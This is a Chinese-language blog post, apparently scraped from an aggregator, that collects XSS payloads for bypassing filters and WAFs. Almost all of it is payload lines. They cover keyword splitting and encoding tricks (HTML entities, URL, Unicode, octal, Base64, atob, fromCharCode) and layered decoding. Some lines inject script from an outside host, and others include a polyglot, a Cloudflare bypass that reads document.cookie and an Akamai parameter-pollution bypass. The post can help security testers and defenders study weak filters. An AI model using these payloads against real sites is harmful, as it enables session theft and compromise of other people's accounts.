天天看點

繞過XSS過濾姿勢總結

Summary of Bypassing XSS Filtering

0x00 XSS基本測試流程

原則是“見框就插”,多動手,這裡分享幾個經典測試payload:

"><svg/onload=alert(1)//
           

具體引用外部js的代碼姿勢是:

<svg/onload=s=createElement('script');body.appendChild(s);s.src='js位址'//
           

在火狐浏覽器下檢視的效果(浏覽器解析時會自動加上引号):

繞過XSS過濾姿勢總結
<a href="javascript:alert(1)" >click me</a>       //a标簽僞協定執行
           
<a href="data:text/html;base64,這裡跟着base64之後的js代碼">click here</a>        //data引用外域資源
           

外域擷取cookie,據我所知隻有火狐才可以了,這裡涉及同源政策相關知識。

具體情況還需要具體分析,一定要記住 靈活構造 才是XSS最核心的東西!

下面,我總結了針對不同的防護措施,可采取的繞過姿勢,即是本文的重點。

0x01 彈窗關鍵字檢測繞過

基本WAF都針對常用的彈窗函數做了攔截,如alert()、prompt()、confirm(),另外還有代碼執行函數eval(),想要繞過去也比較簡單,我們以alert(‘xss’)為例,其實隻需要分割alert和()即可,例如:

添加空格、TAB、回車、換行:alert%20(/xss/)、alert%0A(/xss/)、alert%0D(/xss/)、alert%09(/xss/)

添加多行注釋:alert/*abcd*/(/xss/)

添加注釋換行:alert//abcd%0A(/xss/)、confirm//abcd%0D(/xss/)

使用''代替():alert'xss'

使用括号分割:(alert)(/xss/)、((alert))(/xss/)

使用window和top:

<img src=x onerror="window['al'+'ert'](0)"></img>
<img src=x onerror="window.alert(0)"></img>
<img src=x onerror="top['al'+'ert'](0)"></img>
<img src=x onerror="top.alert(0)"></img>
           

另外還可以通過以下方式繞過WAF:

<input/onfocus=_=alert,_(123)>
<input/onfocus=_=alert,xx=1,_(123)>
<input/onfocus=_=alert;_(123)>
<input/onfocus=_=alert;xx=1;_(123)>
<input/onfocus=_=window['alert'],_(123)>
<input/onfocus=_=window.alert,_(123)>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`> 
           

另外還可以通過異常處理

<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
           

eval(string)參數為字元串,可以拼接關鍵字繞過檢測。

<svg/onload=eval('ale'+'rt(1)')>
           

另外跳轉中也可以使用關鍵字拼接

<svg/onload=location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
<svg/onload=location.href='javas'+'cript:ale'+'rt(1)'>
<svg/onload=window.open('javas'+'cript:ale'+'rt(1)')>
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>
           

0x02 編碼繞過

  1. html實體編碼
<iframe src=javascript:alert(1)>
           

html标簽中支援十進制,例如:

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
           

十六進制,例如:

<iframe src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>
           

可以不帶分号

<iframe src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x31&#x29>
           

可以填充0

<iframe src=&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00031&#x00029>
           

繞過關鍵字過濾

1.<iframe src=javas&#x09;cript:alert(1)></iframe> //Tab
2.<iframe src=javas&#x0A;cript:alert(1)></iframe> //回車
3.<iframe src=javas&#x0D;cript:alert(1)></iframe> //換行
4.<iframe src=javascript&#x003a;alert(1)></iframe> //編碼冒号
5.<iframe src=javasc&NewLine;ript&colon;alert(1)></iframe> //HTML5 新增的實體命名編碼,IE6、7下不支援
           
  1. URL編碼
<a href="{here}">xx</a>
<iframe src="{here}">
           

當輸出環境在href或者src時,是可以通過javascript僞協定來執行JS的,例如

<iframe src=”javascript:alert(1)”>test</iframe>
           

同樣src中是可以進行URL編碼的,需要注意協定頭

javascript:

不能編碼,否則JS無法執行。

<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
           

可以二次URL編碼

<iframe src="javascript:%2561%256c%2565%2572%2574%2528%2531%2529"></iframe>
           

這裡結合一下上面說16進制編碼

<iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;%61%6c%65%72%74%28%31%29"></iframe>
           
  1. Unicode編碼
<input onfocus=location="javascript:\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029" autofocus> 
           
<input onfocus=\u0061\u006C\u0065\u0072\u0074(1) autofocus>
           

另外還有八進制和十六進制

1.<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
2.<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>
3.<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
4.<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
5.<script>eval("\141\154\145\162\164\050\061\051")</script>
6.<script>eval("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
           

有的WAF攔截了eval()同樣可以使用上面提到的alert()繞過的方式,如注釋、注釋換行等

同樣也可以使用window[‘eval’]

1.<script>window['eval']("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>
2.<script>window['eval']("\141\154\145\162\164\050\061\051")</script>
3.<script>window['eval']("\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029")</script>
           
  1. Base64編碼
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
           
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
           

需要注意内容是可以做實體編碼。不影響XSS執行。

1.<iframe src="data:text/html,<script>alert&#40;1&#41;</script>"></iframe>
2.<iframe srcdoc="<script>alert&#40;1&#41;</script>"></iframe>
           

另外還可以使用atob函數

1.<a%20href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a>
2.<a%20href=javascript:eval(window.atob('YWxlcnQoMSk='))>Click</a>
3.<a%20href=javascript:eval(window['atob']('YWxlcnQoMSk='))>Click</a>
           
  1. 其他

    String.fromCharCode:

<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>
           

這裡針對HTML編碼、URL編碼、Unicode編碼還涉及到一個解碼順序的問題:

我們以

<a href=javascript:alert(1)>Click</a>

為例

根據上面的例子,我們可以使用三種編碼:

HTML編碼:

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>Click</a>
           

Unicode編碼:

<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
           

URL編碼:

<a href=javascript:%2561%256c%2565%2572%2574%2528%2531%2529>Click</a>
           

然後我們把這三種解碼結合起來:Unicode編碼 -> URL編碼 -> HTML編碼

<a href=javascript:\u0061\u006C\u0065\u0072\u0074(1)>Click</a>
<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%43%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)>Click</a>
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#49;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#52;&#51;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#54;&#37;&#51;&#53;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#50;&#37;&#53;&#99;&#37;&#55;&#53;&#37;&#51;&#48;&#37;&#51;&#48;&#37;&#51;&#55;&#37;&#51;&#52;&#40;&#49;&#41;>Click</a>
           

發現同樣是可以彈窗的。

0x03 引入外部JS

通過在

<script>

标簽中引入其他字元繞過

1.<script/src='1.js'/~~234*234></script ~~234*234>

2.onfocus='a=document.createElement("script");a.src="http://x.x.x.x";body.appendChild(a);'

3.onfocus='a=document.createElement("scr"+"ipt");a.src="http://x.x.x.x";body.appendChild(a);' //拆分關鍵字

4. //SSI

5.<link%20rel=import%20href="2.js">

0x04 OWASP備忘錄

Basic XSS Test Without Filter Evasion

0x05 其他收集

Github

0x06 推特收集

1.

JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
           

參考:https://brutelogic.com.br/blog/building-xss-polyglots/

2.繞過CloudFlare waf Payload

<svg onload=alert&#0000000040document.cookie)>
           

3.HTTP參數污染

繞過 Akamai WAF ASP樣式HTTP參數污染反射XSS(僅限 Chrome)

?id=1&id=2  -->  <input value="1,2">
           
?id="&id=onpointerrawupdate="a=confirm&id=a(1)
-->
<input value="", onpointerrawupdate="a=confirm, a(1)">
           

附編碼轉換工具:http://bianma.51240.com/

注:XSS漏洞原理以及防護原理詳見:http://www.recorday.cn/index.php/2018/01/25/xss1/

使我有洛陽二傾田,安能配六國相印

上一篇: 安全工具集

繼續閱讀